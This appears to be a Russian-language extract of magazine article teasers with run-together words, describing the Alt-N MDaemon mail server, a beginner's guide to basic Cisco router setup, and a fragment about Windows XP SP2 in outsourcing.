Alt-N MDaemon –почтовая системадля среднихи крупных компанийAlt-N Mdaemon – почтовый серверкорпоративного уровня для ОС семей-ства Windows. Уже с первых версий дан-ный продукт пользовался заслуженнойпопулярностью среди администраторовWindows-систем, благодаря чему посто-янно совершенствовался и дополнялсяновыми возможностями. На сегодняш-ний день MDaemon – это SMTP/POP/IMAP почтовый сервер с полным набо-ром возможностей: защита от спама,безопасный доступ к почте через веб-интерфейс при помощи обычного бра-узера, удаленное администрирование,а также, при установленном MDaemonAntiVirus, защита вашей системы отпочтовых вирусов.

Базовая настройкамаршрутизатора Ciscoначального уровняОписание настройки может послужитьотправной точкой для самостоятельно-го конфигурирования домашнего/офисного маршрутизатора UNIX илиWindows администратором, ранее неработавшим с оборудованием Cisco.

Professional SP2 Rus вместе с требуе-мым прикладным программным обес-печением в практике аутсорсинга.